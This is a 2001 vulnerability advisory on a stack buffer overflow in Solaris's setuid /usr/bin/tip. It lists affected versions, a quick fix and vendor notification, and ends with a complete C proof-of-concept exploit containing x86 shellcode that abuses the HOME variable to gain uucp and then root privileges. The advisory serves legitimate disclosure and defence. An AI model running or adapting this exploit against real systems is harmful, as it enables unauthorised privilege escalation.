Solaris /usr/bin/tip Vulnerability

[Pablo Sor <psor () AFIP GOV AR>]

Vulnerability in Solaris tip(1)

Date Published: March 27, 2001

Advisory ID: N/A

Bugtraq ID: N/A

CVE CAN: Non currently assigned.

Title: Solaris tip(1) Buffer Overflow Vulnerability

Class: Boundary Error Condition

Remotely Exploitable: No

Locally Exploitable: Yes

Vulnerability Description:

The tip program is installed setuid uucp by default in Solaris,
it contains a vulnerability in handling data from enviroment variables,
if this variable exceeds predefined lenght an exploitable stack overflow

can occur.
Through exploiting this vulnerability an attacker can gain effective
uid uucp and through that root.

Vulnerable Packages/Systems:

Solaris 8
Solaris 7
Solaris 2.6
Solaris 2.5.1
Solaris 2.5

Quick Fix:

Clear the suid bit of /usr/bin/tip program.

Solution/Vendor :

Sun Microsystems was notified on March 16, 2001. Patches are excepted
shortly.

Vendor notified on:

March 16, 2001

Credits:

This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

Special thanks to Dave Ahmed from SecurityFocus.

This advisory was drafted with the help of the SecurityFocus.com
Vulnerability
Help Team. For more information or assistance drafting advisories please
mail
vulnhelp () securityfocus com.


Technical Description - Exploit/Concept Code:

#include <fcntl.h>

/*
   /usr/bin/tip overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 03/2001
   psor () afip gov ar

   works against x86 solaris 7,8

   default offset should work.

*/


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
"\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
"\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"

"\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
"\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
"\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"

"\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  unsigned long magic = get_esp() + 0x50;  /* default offset */
  unsigned char buf[600];

  symlink("/bin/ksh","/tmp/xx");
  memset(buf,0x90,600);
  buf[599]=0;
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  memcpy(buf,"HOME=",5);
  memcpy(buf+265,&magic,4);
  putenv(buf);

  system("/usr/bin/tip 5");
  unlink("/tmp/xx");
}